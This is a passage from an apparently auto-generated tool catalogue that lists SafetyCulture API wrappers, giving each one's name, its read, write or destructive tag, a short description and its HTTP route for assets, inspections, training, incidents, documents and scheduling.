/api/v1/safetyculture/tasks/v1/customer_configuration/{type_id}/custom_fields/mapped. Scopes: none. safetyculture_get_tasks_v1_customer_configuration_by_type_id_custom_fields_unmapped (read) — Get org task type unmapped fields via GET /tasks/v1/customer_configuration/{type_id}/custom_fields/unmapped GET /api/v1/safetyculture/tasks/v1/customer_configuration/{type_id}/custom_fields/unmapped. Scopes: none. safetyculture_get_tasks_v1_customer_configuration_task_type_by_id (read) — Get task type via GET /tasks/v1/customer_configuration/task_type/{id} GET /api/v1/safetyculture/tasks/v1/customer_configuration/task_type/{id}. Scopes: none. safetyculture_get_tasks_v1_customer_configuration_task_types (read) — Get task types via GET /tasks/v1/customer_configuration/task_types GET /api/v1/safetyculture/tasks/v1/customer_configuration/task_types. Scopes: none. safetyculture_get_tasks_v1_customerconfiguration_categories (read) — Get categories via GET /tasks/v1/customerconfiguration/categories GET /api/v1/safetyculture/tasks/v1/customerconfiguration/categories. Scopes: none. safetyculture_get_tasks_v1_feed_action_fields (read) — Feed action fields2 via GET /tasks/v1/feed/action_fields GET /api/v1/safetyculture/tasks/v1/feed/action_fields. Scopes: none. safetyculture_get_tasks_v1_incident_by_id (read) — Get incident by id via GET /tasks/v1/incident/{id} GET /api/v1/safetyculture/tasks/v1/incident/{id}. Scopes: none. safetyculture_get_tasks_v1_incidents_by_id (read) — Get incident via GET /tasks/v1/incidents/{id} GET /api/v1/safetyculture/tasks/v1/incidents/{id}. Scopes: none. safetyculture_get_tasks_v1_incidents_by_incident_id_questions_answers (read) — Get incident questions and answers via GET /tasks/v1/incidents/{incident_id}/questions_answers GET /api/v1/safetyculture/tasks/v1/incidents/{incident_id}/questions_answers. Scopes: none. safetyculture_get_tasks_v1_incidents_by_task_id_pdf_report (read) — Get PDF report via GET /tasks/v1/incidents/{task_id}/pdf_report GET /api/v1/safetyculture/tasks/v1/incidents/{task_id}/pdf_report. Scopes: none. safetyculture_get_templates_integration_v1_templates_by_template_id_definition (read) — Get template definition via GET /templates/integration/v1/templates/{template_id}/definition GET /api/v1/safetyculture/templates/integration/v1/templates/{template_id}/definition. Scopes: none. safetyculture_get_templates_search (read) — Search templates via GET /templates/search GET /api/v1/safetyculture/templates/search. Scopes: none. safetyculture_get_templates_v1_templates_by_template_id (read) — Get template by ID via GET /templates/v1/templates/{template_id} GET /api/v1/safetyculture/templates/v1/templates/{template_id}. Scopes: none. safetyculture_get_templates_v1_templates_inspections_by_inspection_id (read) — Get template by inspection ID via GET /templates/v1/templates/inspections/{inspection_id} GET /api/v1/safetyculture/templates/v1/templates/inspections/{inspection_id}. Scopes: none. safetyculture_get_training_analytics_v1_courses_statistics (read) — Get course statistics via GET /training/analytics/v1/courses/statistics GET /api/v1/safetyculture/training/analytics/v1/courses/statistics. Scopes: none. safetyculture_get_training_analytics_v1_lessons_attempts (read) — Get lesson attempts via GET /training/analytics/v1/lessons/attempts GET /api/v1/safetyculture/training/analytics/v1/lessons/attempts. Scopes: none. safetyculture_get_training_analytics_v1_lessons_progress_events (read) — Get lesson progress events via GET /training/analytics/v1/lessons/progress/events GET /api/v1/safetyculture/training/analytics/v1/lessons/progress/events. Scopes: none. safetyculture_get_training_analytics_v1_lessons_statistics (read) — Get lesson statistics via GET /training/analytics/v1/lessons/statistics GET /api/v1/safetyculture/training/analytics/v1/lessons/statistics. Scopes: none. safetyculture_get_training_analytics_v1_rapidrefresh_answers (read) — Get rapid refresh answers via GET /training/analytics/v1/rapidRefresh/answers GET /api/v1/safetyculture/training/analytics/v1/rapidRefresh/answers. Scopes: none. safetyculture_get_training_analytics_v1_slides_statistics (read) — Get slide statistics via GET /training/analytics/v1/slides/statistics GET /api/v1/safetyculture/training/analytics/v1/slides/statistics. Scopes: none. safetyculture_get_training_analytics_v1_surveys_answers (read) — Get survey answers via GET /training/analytics/v1/surveys/answers GET /api/v1/safetyculture/training/analytics/v1/surveys/answers. Scopes: none. safetyculture_get_training_analytics_v1_surveys_questiondefinitions (read) — Get survey question definitions via GET /training/analytics/v1/surveys/questionDefinitions GET /api/v1/safetyculture/training/analytics/v1/surveys/questionDefinitions. Scopes: none. safetyculture_get_training_analytics_v1_users_by_userid_lessons_progress (read) — Get user lesson progress via GET /training/analytics/v1/users/{userId}/lessons/progress GET /api/v1/safetyculture/training/analytics/v1/users/{userId}/lessons/progress. Scopes: none. safetyculture_get_training_analytics_v1_users_by_userid_lessons_progress_events (read) — Get user lesson progress events via GET /training/analytics/v1/users/{userId}/lessons/progress/events GET /api/v1/safetyculture/training/analytics/v1/users/{userId}/lessons/progress/events. Scopes: none. safetyculture_get_training_analytics_v1_users_by_userid_slides_statistics (read) — Get slide user statistics via GET /training/analytics/v1/users/{userId}/slides/statistics GET /api/v1/safetyculture/training/analytics/v1/users/{userId}/slides/statistics. Scopes: none. safetyculture_get_training_collections_v1 (read) — Get course collections via GET /training/collections/v1 GET /api/v1/safetyculture/training/collections/v1. Scopes: none. safetyculture_get_training_collections_v1_by_coursecollectionid_courses (read) — Get courses by course collection id via GET /training/collections/v1/{courseCollectionId}/courses GET /api/v1/safetyculture/training/collections/v1/{courseCollectionId}/courses. Scopes: none. safetyculture_get_training_courses_v1 (read) — Get courses via GET /training/courses/v1 GET /api/v1/safetyculture/training/courses/v1. Scopes: none. safetyculture_get_training_courses_v1_by_courseid_lessons (read) — Get lessons by course id via GET /training/courses/v1/{courseId}/lessons GET /api/v1/safetyculture/training/courses/v1/{courseId}/lessons. Scopes: none. safetyculture_get_training_individualleaderboards_v1 (read) — Get individual leaderboards via GET /training/individualleaderboards/v1 GET /api/v1/safetyculture/training/individualleaderboards/v1. Scopes: none. safetyculture_get_training_individualleaderboards_v1_rankings (read) — Get individual leaderboard rankings via GET /training/individualleaderboards/v1/rankings GET /api/v1/safetyculture/training/individualleaderboards/v1/rankings. Scopes: none. safetyculture_get_training_lessons_v1_by_id (read) — Get lesson by id via GET /training/lessons/v1/{id} GET /api/v1/safetyculture/training/lessons/v1/{id}. Scopes: none. safetyculture_get_training_paths_v1 (read) — Get paths via GET /training/paths/v1 GET /api/v1/safetyculture/training/paths/v1. Scopes: none. safetyculture_get_training_paths_v1_by_pathid (read) — Get path by id via GET /training/paths/v1/{pathId} GET /api/v1/safetyculture/training/paths/v1/{pathId}. Scopes: none. safetyculture_get_training_rapid_refresh_v1 (read) — Get rapid refresh via GET /training/rapid-refresh/v1 GET /api/v1/safetyculture/training/rapid-refresh/v1. Scopes: none. safetyculture_get_training_rapid_refresh_v1_by_id (read) — Get rapid refresh by id via GET /training/rapid-refresh/v1/{id} GET /api/v1/safetyculture/training/rapid-refresh/v1/{id}. Scopes: none. safetyculture_get_training_v1_feed_training_course_progress (read) — Feed training course progress via GET /training/v1/feed/training-course-progress GET /api/v1/safetyculture/training/v1/feed/training-course-progress. Scopes: none. safetyculture_get_users_by_user_id (read) — Get user via GET /users/{user_id} GET /api/v1/safetyculture/users/{user_id}. Scopes: none. safetyculture_get_users_v1_users_by_user_id_attributes (read) — Get user attributes via GET /users/v1/users/{user_id}/attributes GET /api/v1/safetyculture/users/v1/users/{user_id}/attributes. Scopes: none. safetyculture_get_users_v1_users_upsert_jobs_by_job_id (read) — Get create or update users job via GET /users/v1/users/upsert/jobs/{job_id} GET /api/v1/safetyculture/users/v1/users/upsert/jobs/{job_id}. Scopes: none. safetyculture_get_webhooks_v1_token (read) — Get token via GET /webhooks/v1/token GET /api/v1/safetyculture/webhooks/v1/token. Scopes: none. safetyculture_get_webhooks_v1_webhooks (read) — List webhooks via GET /webhooks/v1/webhooks GET /api/v1/safetyculture/webhooks/v1/webhooks. Scopes: none. safetyculture_get_webhooks_v1_webhooks_by_webhook_id (read) — Get webhook via GET /webhooks/v1/webhooks/{webhook_id} GET /api/v1/safetyculture/webhooks/v1/webhooks/{webhook_id}. Scopes: none. safetyculture_patch_assets_v1_assets_by_asset_id_fields (write) — Set asset field values via PATCH /assets/v1/assets/{asset_id}/fields PATCH /api/v1/safetyculture/assets/v1/assets/{asset_id}/fields. Scopes: none. safetyculture_patch_assets_v1_assets_by_id (write) — Update asset (Assets) via PATCH /assets/v1/assets/{id} PATCH /api/v1/safetyculture/assets/v1/assets/{id}. Scopes: none. safetyculture_patch_assets_v1_assets_by_id_archive (write) — Archive asset via PATCH /assets/v1/assets/{id}/archive PATCH /api/v1/safetyculture/assets/v1/assets/{id}/archive. Scopes: none. safetyculture_patch_assets_v1_assets_by_id_location (write) — Update asset location via PATCH /assets/v1/assets/{id}/location PATCH /api/v1/safetyculture/assets/v1/assets/{id}/location. Scopes: none. safetyculture_patch_assets_v1_fields_by_id (write) — Update field (Fields) via PATCH /assets/v1/fields/{id} PATCH /api/v1/safetyculture/assets/v1/fields/{id}. Scopes: none. safetyculture_patch_assets_v1_status_groups_by_status_group_id (write) — Update status group via PATCH /assets/v1/status-groups/{status_group.id} PATCH /api/v1/safetyculture/assets/v1/status-groups/{status_group_id}. Scopes: none. safetyculture_patch_assets_v1_types_by_id (write) — Update type via PATCH /assets/v1/types/{id} PATCH /api/v1/safetyculture/assets/v1/types/{id}. Scopes: none. safetyculture_patch_directory_v1_folder_by_id (write) — Update folder properties via PATCH /directory/v1/folder/{id} PATCH /api/v1/safetyculture/directory/v1/folder/{id}. Scopes: none. safetyculture_patch_documents_v1_by_file_id (write) — Update file via PATCH /documents/v1/{file_id} PATCH /api/v1/safetyculture/documents/v1/{file_id}. Scopes: none. safetyculture_patch_scheduling_v1_schedules_by_id_end (write) — End schedule via PATCH /scheduling/v1/schedules/{id}/end PATCH /api/v1/safetyculture/scheduling/v1/schedules/{id}/end. Scopes: none. safetyculture_patch_scheduling_v1_schedules_by_id_pause (write) — Pause schedule via PATCH /scheduling/v1/schedules/{id}/pause PATCH /api/v1/safetyculture/scheduling/v1/schedules/{id}/pause. Scopes: none. safetyculture_patch_scheduling_v1_schedules_by_id_resume (write) — Resume schedule via PATCH /scheduling/v1/schedules/{id}/resume PATCH /api/v1/safetyculture/scheduling/v1/schedules/{id}/resume. Scopes: none. safetyculture_patch_scheduling_v1_schedules_by_schedule_id_assignees (write) — Update schedule assignees via PATCH /scheduling/v1/schedules/{schedule_id}/assignees PATCH /api/v1/safetyculture/scheduling/v1/schedules/{schedule_id}/assignees. Scopes: none. safetyculture_patch_scheduling_v1_schedules_by_schedule_id_details (write) — Update schedule details via PATCH /scheduling/v1/schedules/{schedule_id}/details PATCH /api/v1/safetyculture/scheduling/v1/schedules/{schedule_id}/details. Scopes: none. safetyculture_patch_scheduling_v1_schedules_by_schedule_id_recurrence (write) — Update schedule recurrence via PATCH /scheduling/v1/schedules/{schedule_id}/recurrence PATCH /api/v1/safetyculture/scheduling/v1/schedules/{schedule_id}/recurrence. Scopes: none. safetyculture_patch_scheduling_v1_schedules_by_schedule_id_target (write) — Update schedule target via PATCH /scheduling/v1/schedules/{schedule_id}/target PATCH /api/v1/safetyculture/scheduling/v1/schedules/{schedule_id}/target. Scopes: none. safetyculture_patch_users_v1_fields_by_id (write) — Update field (User fields) via PATCH /users/v1/fields/{id} PATCH /api/v1/safetyculture/users/v1/fields/{id}. Scopes: none. safetyculture_post_accounts_organisation_v1_accounts_bulkdeletegroups (write, destructive) — Bulk delete groups via POST /accounts/organisation/v1/accounts:BulkDeleteGroups POST /api/v1/safetyculture/accounts/organisation/v1/accounts:BulkDeleteGroups. Scopes: none. safetyculture_post_announcements_v1_announcement_getheadsupcompletioncounts (read) — Get heads up completion counts via POST /announcements/v1/announcement:GetHeadsUpCompletionCounts POST /api/v1/safetyculture/announcements/v1/announcement:GetHeadsUpCompletionCounts. Scopes: none. safetyculture_post_announcements_v1_announcement_getheadsupmessages (read) — Get heads up messages via POST /announcements/v1/announcement:GetHeadsUpMessages POST /api/v1/safetyculture/announcements/v1/announcement:GetHeadsUpMessages. Scopes: none. safetyculture_post_announcements_v1_announcement_listheadsupmanage (read) — List heads up manage via POST /announcements/v1/announcement:ListHeadsUpManage POST /api/v1/safetyculture/announcements/v1/announcement:ListHeadsUpManage. Scopes: none. safetyculture_post_announcements_v1_announcement_listheadsupusers (read) — List heads up users via POST /announcements/v1/announcement:ListHeadsUpUsers POST /api/v1/safetyculture/announcements/v1/announcement:ListHeadsUpUsers. Scopes: none. safetyculture_post_assets_v1_assets (write) — Create asset via POST /assets/v1/assets POST /api/v1/safetyculture/assets/v1/assets. Scopes: none. safetyculture_post_assets_v1_assets_bulk (write) — Bulk create assets via POST /assets/v1/assets/bulk POST /api/v1/safetyculture/assets/v1/assets/bulk. Scopes: none. safetyculture_post_assets_v1_assets_list (read) — List assets via POST /assets/v1/assets/list POST /api/v1/safetyculture/assets/v1/assets/list. Scopes: none. safetyculture_post_assets_v1_assets_lookupassetsbyfield (read) — Lookup assets by field via POST /assets/v1/assets:LookupAssetsByField POST /api/v1/safetyculture/assets/v1/assets:LookupAssetsByField. Scopes: none. safetyculture_post_assets_v1_fields (write) — Create field (Fields) via POST /assets/v1/fields POST /api/v1/safetyculture/assets/v1/fields. Scopes: none. safetyculture_post_assets_v1_fields_list (read) — List fields (Fields) via POST /assets/v1/fields/list POST /api/v1/safetyculture/assets/v1/fields/list. Scopes: none. safetyculture_post_assets_v1_maintenance_asset_by_asset_id_service (write) — Add asset last service via POST /assets/v1/maintenance/asset/{asset_id}/service POST /api/v1/safetyculture/assets/v1/maintenance/asset/{asset_id}/service. Scopes: none. safetyculture_post_assets_v1_maintenance_asset_by_asset_id_service_history (read) — List asset service history via POST /assets/v1/maintenance/asset/{asset_id}/service-history POST /api/v1/safetyculture/assets/v1/maintenance/asset/{asset_id}/service-history. Scopes: none. safetyculture_post_assets_v1_maintenance_assets_details (read) — List assets maintenance details via POST /assets/v1/maintenance/assets/details POST /api/v1/safetyculture/assets/v1/maintenance/assets/details. Scopes: none. safetyculture_post_assets_v1_maintenance_assets_status_counts (read) — List assets maintenance status counts via POST /assets/v1/maintenance/assets/status-counts POST /api/v1/safetyculture/assets/v1/maintenance/assets/status-counts. Scopes: none. safetyculture_post_assets_v1_maintenance_program (write) — Create program via POST /assets/v1/maintenance/program POST /api/v1/safetyculture/assets/v1/maintenance/program. Scopes: none. safetyculture_post_assets_v1_maintenance_program_by_id_assets (write) — Add assets to program via POST /assets/v1/maintenance/program/{id}/assets POST /api/v1/safetyculture/assets/v1/maintenance/program/{id}/assets. Scopes: none. safetyculture_post_assets_v1_maintenance_program_by_program_id_plan (write) — Create plan via POST /assets/v1/maintenance/program/{program_id}/plan POST /api/v1/safetyculture/assets/v1/maintenance/program/{program_id}/plan. Scopes: none. safetyculture_post_assets_v1_maintenance_program_details (read) — List programs details via POST /assets/v1/maintenance/program/details POST /api/v1/safetyculture/assets/v1/maintenance/program/details. Scopes: none. safetyculture_post_assets_v1_status_groups (write) — Create status group via POST /assets/v1/status-groups POST /api/v1/safetyculture/assets/v1/status-groups. Scopes: none. safetyculture_post_assets_v1_status_groups_by_id_types (write) — Add status group to asset types via POST /assets/v1/status-groups/{id}/types POST /api/v1/safetyculture/assets/v1/status-groups/{id}/types. Scopes: none. safetyculture_post_assets_v1_status_groups_list (read) — List status groups via POST /assets/v1/status-groups/list POST /api/v1/safetyculture/assets/v1/status-groups/list. Scopes: none. safetyculture_post_assets_v1_types (write) — Create type via POST /assets/v1/types POST /api/v1/safetyculture/assets/v1/types. Scopes: none. safetyculture_post_assets_v1_types_by_type_id_fields_list (read) — List type fields via POST /assets/v1/types/{type_id}/fields/list POST /api/v1/safetyculture/assets/v1/types/{type_id}/fields/list. Scopes: none. safetyculture_post_assets_v1_types_list (read) — List types via POST /assets/v1/types/list POST /api/v1/safetyculture/assets/v1/types/list. Scopes: none. safetyculture_post_audits_by_audit_id_deep_link (read) — Get inspection deep link via POST /audits/{audit_id}/deep_link POST /api/v1/safetyculture/audits/{audit_id}/deep_link. Scopes: none. safetyculture_post_companies_v1_companies (read) — List contractor companies via POST /companies/v1/companies POST /api/v1/safetyculture/companies/v1/companies. Scopes: none. safetyculture_post_companies_v1_company (write) — Create contractor company via POST /companies/v1/company POST /api/v1/safetyculture/companies/v1/company. Scopes: none. safetyculture_post_companies_v1_documents (read) — List company documents via POST /companies/v1/documents POST /api/v1/safetyculture/companies/v1/documents. Scopes: none. safetyculture_post_companies_v1_documents_types (read) — List company document types via POST /companies/v1/documents/types POST /api/v1/safetyculture/companies/v1/documents/types. Scopes: none. safetyculture_post_companies_v1_type_metrics (read) — List company types metrics via POST /companies/v1/type-metrics POST /api/v1/safetyculture/companies/v1/type-metrics. Scopes: none. safetyculture_post_companies_v1_types (read) — List company types via POST /companies/v1/types POST /api/v1/safetyculture/companies/v1/types. Scopes: none. safetyculture_post_companies_v1_users (read) — List company user metadata via POST /companies/v1/users POST /api/v1/safetyculture/companies/v1/users. Scopes: none. safetyculture_post_credentials_v1_credential_delete_media (write, destructive) — Delete all media for document version via POST /credentials/v1/credential/delete-media POST /api/v1/safetyculture/credentials/v1/credential/delete-media. Scopes: none. safetyculture_post_credentials_v1_credential_type (write) — Create document type via POST /credentials/v1/credential-type POST /api/v1/safetyculture/credentials/v1/credential-type. Scopes: none. safetyculture_post_credentials_v1_credential_types (read) — List document types via POST /credentials/v1/credential-types POST /api/v1/safetyculture/credentials/v1/credential-types. Scopes: none. safetyculture_post_credentials_v1_credential_version (write) — Add document version for user via POST /credentials/v1/credential/version POST /api/v1/safetyculture/credentials/v1/credential/version. Scopes: none. safetyculture_post_credentials_v1_credential_versions (read) — Get document history via POST /credentials/v1/credential/versions POST /api/v1/safetyculture/credentials/v1/credential/versions. Scopes: none. safetyculture_post_credentials_v1_credentials (read) — Get documents via POST /credentials/v1/credentials POST /api/v1/safetyculture/credentials/v1/credentials. Scopes: none. safetyculture_post_directory_v1_folder (write) — Create folder via POST /directory/v1/folder POST /api/v1/safetyculture/directory/v1/folder. Scopes: none. safetyculture_post_directory_v1_folders_move (write) — Move folders via POST /directory/v1/folders/move POST /api/v1/safetyculture/directory/v1/folders/move. Scopes: none. safetyculture_post_directory_v1_folders_search (read) — Search folders via POST /directory/v1/folders/search POST /api/v1/safetyculture/directory/v1/folders/search. Scopes: none. safetyculture_post_directory_v1_users_folders_membership (write) — Add users folders associations via POST /directory/v1/users/folders/membership POST /api/v1/safetyculture/directory/v1/users/folders/membership. Scopes: none. safetyculture_post_documents_v1 (write) — Create file via POST /documents/v1 POST /api/v1/safetyculture/documents/v1. Scopes: none. safetyculture_post_documents_v1_archive_by_item_id (write) — Archive item via POST /documents/v1/archive/{item_id} POST /api/v1/safetyculture/documents/v1/archive/{item_id}. Scopes: none. safetyculture_post_documents_v1_bulk_add_owners (write) — Bulk add file owners via POST /documents/v1/bulk/add_owners POST /api/v1/safetyculture/documents/v1/bulk/add_owners. Scopes: none. safetyculture_post_documents_v1_bulk_remove_owners (write) — Bulk remove file owners via POST /documents/v1/bulk/remove_owners POST /api/v1/safetyculture/documents/v1/bulk/remove_owners. Scopes: none. safetyculture_post_documents_v1_bulk_update_owners (write) — Bulk update file owners via POST /documents/v1/bulk/update_owners POST /api/v1/safetyculture/documents/v1/bulk/update_owners. Scopes: none. safetyculture_post_documents_v1_children (read) — Get folder children via POST /documents/v1/children POST /api/v1/safetyculture/documents/v1/children. Scopes: none. safetyculture_post_documents_v1_link (write) — Link files via POST /documents/v1/link POST /api/v1/safetyculture/documents/v1/link. Scopes: none. safetyculture_post_documents_v1_move_by_item_id (write) — Move item via POST /documents/v1/move/{item_id} POST /api/v1/safetyculture/documents/v1/move/{item_id}. Scopes: none. safetyculture_post_documents_v1_search (read) — Search items via POST /documents/v1/search POST /api/v1/safetyculture/documents/v1/search. Scopes: none. safetyculture_post_groups (write) — Create group via POST /groups POST /api/v1/safetyculture/groups. Scopes: none. safetyculture_post_groups_by_group_id_users_v2 (write) — Add new user to group via POST /groups/{group_id}/users/v2 POST /api/v1/safetyculture/groups/{group_id}/users/v2. Scopes: none. safetyculture_post_incidents_v1_categories (write) — Create category via POST /incidents/v1/categories POST /api/v1/safetyculture/incidents/v1/categories. Scopes: none. safetyculture_post_incidents_v1_categories_by_category_id_clone (write) — Clone category via POST /incidents/v1/categories/{category_id}/clone POST /api/v1/safetyculture/incidents/v1/categories/{category_id}/clone. Scopes: none. safetyculture_post_incidents_v1_detail_fields (write) — Create detail field via POST /incidents/v1/detail-fields POST /api/v1/safetyculture/incidents/v1/detail-fields. Scopes: none. safetyculture_post_incidents_v1_investigations (write) — Create investigation via POST /incidents/v1/investigations POST /api/v1/safetyculture/incidents/v1/investigations. Scopes: none. safetyculture_post_incidents_v1_osha_cases (write) — Create case via POST /incidents/v1/osha/cases POST /api/v1/safetyculture/incidents/v1/osha/cases. Scopes: none. safetyculture_post_incidents_v1_osha_establishments (write) — Create establishment via POST /incidents/v1/osha/establishments POST /api/v1/safetyculture/incidents/v1/osha/establishments. Scopes: none. safetyculture_post_incidents_v1_osha_establishments_by_establishment_id_employees (write) — Update establishment employees via POST /incidents/v1/osha/establishments/{establishment_id}/employees POST /api/v1/safetyculture/incidents/v1/osha/establishments/{establishment_id}/employees. Scopes: none. safetyculture_post_incidents_v1_osha_establishments_by_establishment_id_hours (write) — Update establishment hours via POST /incidents/v1/osha/establishments/{establishment_id}/hours POST /api/v1/safetyculture/incidents/v1/osha/establishments/{establishment_id}/hours. Scopes: none. safetyculture_post_inspection_v1_export (write) — Start inspection export via POST /inspection/v1/export POST /api/v1/safetyculture/inspection/v1/export. Scopes: none. safetyculture_post_inspections_integration_v1_inspections (write) — Create inspection via POST /inspections/integration/v1/inspections POST /api/v1/safetyculture/inspections/integration/v1/inspections. Scopes: none. safetyculture_post_inspections_integration_v1_inspections_by_inspection_id_complete (write) — Complete inspection via POST /inspections/integration/v1/inspections/{inspection_id}/complete POST /api/v1/safetyculture/inspections/integration/v1/inspections/{inspection_id}/complete. Scopes: none. safetyculture_post_inspections_integration_v1_inspections_by_inspection_id_tables_by_item_id_lines (write) — Add table line via POST /inspections/integration/v1/inspections/{inspection_id}/tables/{item_id}/lines POST /api/v1/safetyculture/inspections/integration/v1/inspections/{inspection_id}/tables/{item_id}/lines. Scopes: none. safetyculture_post_inspections_v1_inspections_by_inspection_id_archive (write) — Archive inspection via POST /inspections/v1/inspections/{inspection_id}/archive POST /api/v1/safetyculture/inspections/v1/inspections/{inspection_id}/archive. Scopes: none. safetyculture_post_inspections_v1_inspections_by_inspection_id_clone (write) — Clone inspection via POST /inspections/v1/inspections/{inspection_id}/clone POST /api/v1/safetyculture/inspections/v1/inspections/{inspection_id}/clone. Scopes: none. safetyculture_post_inspections_v1_inspections_by_inspection_id_questions_by_question_id_dynamicfield (write) — Generate dynamic field via POST /inspections/v1/inspections/{inspection_id}/questions/{question_id}/dynamicfield POST /api/v1/safetyculture/inspections/v1/inspections/{inspection_id}/questions/{question_id}/dynamicfield. Scopes: none. safetyculture_post_integrations_v1_apps (write) — Register application via POST /integrations/v1/apps POST /api/v1/safetyculture/integrations/v1/apps. Scopes: none. safetyculture_post_integrations_v1_apps_by_app_id_installations (write) — Create installation via POST /integrations/v1/apps/{app_id}/installations POST /api/v1/safetyculture/integrations/v1/apps/{app_id}/installations. Scopes: none. safetyculture_post_integrations_v1_apps_by_app_id_installations_by_installation_id_configurations (write) — Create configuration via POST /integrations/v1/apps/{app_id}/installations/{installation_id}/configurations POST /api/v1/safetyculture/integrations/v1/apps/{app_id}/installations/{installation_id}/configurations. Scopes: none. safetyculture_post_permissions_v1_permission_set_assign (write) — Assign permission set via POST /permissions/v1/permission_set/assign POST /api/v1/safetyculture/permissions/v1/permission_set/assign. Scopes: none. safetyculture_post_permissions_v1_permission_sets (read) — List permission sets via POST /permissions/v1/permission_sets POST /api/v1/safetyculture/permissions/v1/permission_sets. Scopes: none. safetyculture_post_response_sets (write) — Create global response set via POST /response_sets POST /api/v1/safetyculture/response_sets. Scopes: none. safetyculture_post_response_sets_by_id_responses (write) — Create GRS response via POST /response_sets/{id}/responses POST /api/v1/safetyculture/response_sets/{id}/responses. Scopes: none. safetyculture_post_schedules_v1_schedule_items (write) — Create schedule item via POST /schedules/v1/schedule_items POST /api/v1/safetyculture/schedules/v1/schedule_items. Scopes: none. safetyculture_post_scheduling_v1_schedules (write) — Create new schedule via POST /scheduling/v1/schedules POST /api/v1/safetyculture/scheduling/v1/schedules. Scopes: none. safetyculture_post_sensors_v1_sensors_ingest_readings (write) — Ingest sensor readings via POST /sensors/v1/sensors/ingest-readings POST /api/v1/safetyculture/sensors/v1/sensors/ingest-readings. Scopes: none. safetyculture_post_sensors_v1_sensors_list (read) — List sensors via POST /sensors/v1/sensors/list POST /api/v1/safetyculture/sensors/v1/sensors/list. Scopes: none. safetyculture_post_sensors_v1_sensors_provision (write) — Provision sensor via POST /sensors/v1/sensors/provision POST /api/v1/safetyculture/sensors/v1/sensors/provision. Scopes: none. safetyculture_post_structures_v1_fields_list (read) — List fields (Structure fields) via POST /structures/v1/fields/list POST /api/v1/safetyculture/structures/v1/fields/list. Scopes: none. safetyculture_post_structures_v1_structures (write) — Create structure via POST /structures/v1/structures POST /api/v1/safetyculture/structures/v1/structures. Scopes: none. safetyculture_post_structures_v1_structures_by_structure_id_members (write) — Add users to structure via POST /structures/v1/structures/{structure_id}/members POST /api/v1/safetyculture/structures/v1/structures/{structure_id}/members. Scopes: none. safetyculture_post_structures_v1_structures_by_structure_id_members_list (read) — List direct users in structure via POST /structures/v1/structures/{structure_id}/members/list POST /api/v1/safetyculture/structures/v1/structures/{structure_id}/members/list. Scopes: none. safetyculture_post_structures_v1_structures_by_structure_id_members_remove (write, destructive) — Remove users from structure via POST /structures/v1/structures/{structure_id}/members/remove POST /api/v1/safetyculture/structures/v1/structures/{structure_id}/members/remove. Scopes: none. safetyculture_post_structures_v1_structures_by_structure_id_move (write) — Move structure via POST /structures/v1/structures/{structure_id}/move POST /api/v1/safetyculture/structures/v1/structures/{structure_id}/move. Scopes: none. safetyculture_post_structures_v1_structures_search (read) — Search structures via POST /structures/v1/structures/search POST /api/v1/safetyculture/structures/v1/structures/search. Scopes: none. safetyculture_post_tasks_v1_actions (write) — Create action via POST /tasks/v1/actions POST /api/v1/safetyculture/tasks/v1/actions. Scopes: none. safetyculture_post_tasks_v1_actions_by_task_id_shared_link (write) — Create action shared link via POST /tasks/v1/actions/{task_id}/shared_link POST /api/v1/safetyculture/tasks/v1/actions/{task_id}/shared_link. Scopes: none. safetyculture_post_tasks_v1_actions_delete (write, destructive) — Delete actions via POST /tasks/v1/actions/delete POST /api/v1/safetyculture/tasks/v1/actions/delete. Scopes: none. safetyculture_post_tasks_v1_actions_list (read) — Get actions via POST /tasks/v1/actions/list POST /api/v1/safetyculture/tasks/v1/actions/list. Scopes: none. safetyculture_post_tasks_v1_actions_schedule (write) — Create action schedule via POST /tasks/v1/actions/schedule POST /api/v1/safetyculture/tasks/v1/actions/schedule. Scopes: none. safetyculture_post_tasks_v1_customer_configuration_action_labels_delete (write, destructive) — Delete action labels via POST /tasks/v1/customer_configuration/action_labels/delete POST /api/v1/safetyculture/tasks/v1/customer_configuration/action_labels/delete. Scopes: none. safetyculture_post_tasks_v1_customer_configuration_custom_field_by_type_id (write) — Create custom field via POST /tasks/v1/customer_configuration/custom_field/{type_id} POST /api/v1/safetyculture/tasks/v1/customer_configuration/custom_field/{type_id}. Scopes: none. safetyculture_post_tasks_v1_customer_configuration_task_type (write) — Create task type via POST /tasks/v1/customer_configuration/task_type POST /api/v1/safetyculture/tasks/v1/customer_configuration/task_type. Scopes: none. safetyculture_post_tasks_v1_incidents (write) — Create incident via POST /tasks/v1/incidents POST /api/v1/safetyculture/tasks/v1/incidents. Scopes: none. safetyculture_post_tasks_v1_incidents_by_task_id_collaborators_add (write) — Add collaborators via POST /tasks/v1/incidents/{task_id}/collaborators/add POST /api/v1/safetyculture/tasks/v1/incidents/{task_id}/collaborators/add. Scopes: none. safetyculture_post_tasks_v1_incidents_by_task_id_collaborators_remove (write, destructive) — Remove collaborators via POST /tasks/v1/incidents/{task_id}/collaborators/remove POST /api/v1/safetyculture/tasks/v1/incidents/{task_id}/collaborators/remove. Scopes: none. safetyculture_post_tasks_v1_incidents_delete (write, destructive) — Delete incidents via POST /tasks/v1/incidents/delete POST /api/v1/safetyculture/tasks/v1/incidents/delete. Scopes: none. safetyculture_post_tasks_v1_incidents_list (read) — Get incidents via POST /tasks/v1/incidents/list POST /api/v1/safetyculture/tasks/v1/incidents/list. Scopes: none. safetyculture_post_tasks_v1_incidents_list_count (read) — Get incidents count via POST /tasks/v1/incidents/list/count POST /api/v1/safetyculture/tasks/v1/incidents/list/count. Scopes: none. safetyculture_post_tasks_v1_incidents_submit (write) — Submit incident via POST /tasks/v1/incidents/submit POST /api/v1/safetyculture/tasks/v1/incidents/submit. Scopes: none. safetyculture_post_tasks_v1_shared_link_by_task_id_web_report (write) — Generate for web report via POST /tasks/v1/shared_link/{task_id}/web_report POST /api/v1/safetyculture/tasks/v1/shared_link/{task_id}/web_report. Scopes: none. safetyculture_post_tasks_v1_timeline (read) — Get timeline via POST /tasks/v1/timeline POST /api/v1/safetyculture/tasks/v1/timeline. Scopes: none. safetyculture_post_tasks_v1_timeline_comments (write) — Add comment via POST /tasks/v1/timeline/comments POST /api/v1/safetyculture/tasks/v1/timeline/comments. Scopes: none. safetyculture_post_templates_v1_templates_by_template_id_archive (write) — Archive template via POST /templates/v1/templates/{template_id}/archive POST /api/v1/safetyculture/templates/v1/templates/{template_id}/archive. Scopes: none. safetyculture_post_training_courseprogress_v1_reset (write) — Reset course progress via POST /training/courseprogress/v1/reset POST /api/v1/safetyculture/training/courseprogress/v1/reset. Scopes: none. safetyculture_post_users_v1_fields (write) — Create field (User fields) via POST /users/v1/fields POST /api/v1/safetyculture/users/v1/fields. Scopes: none. 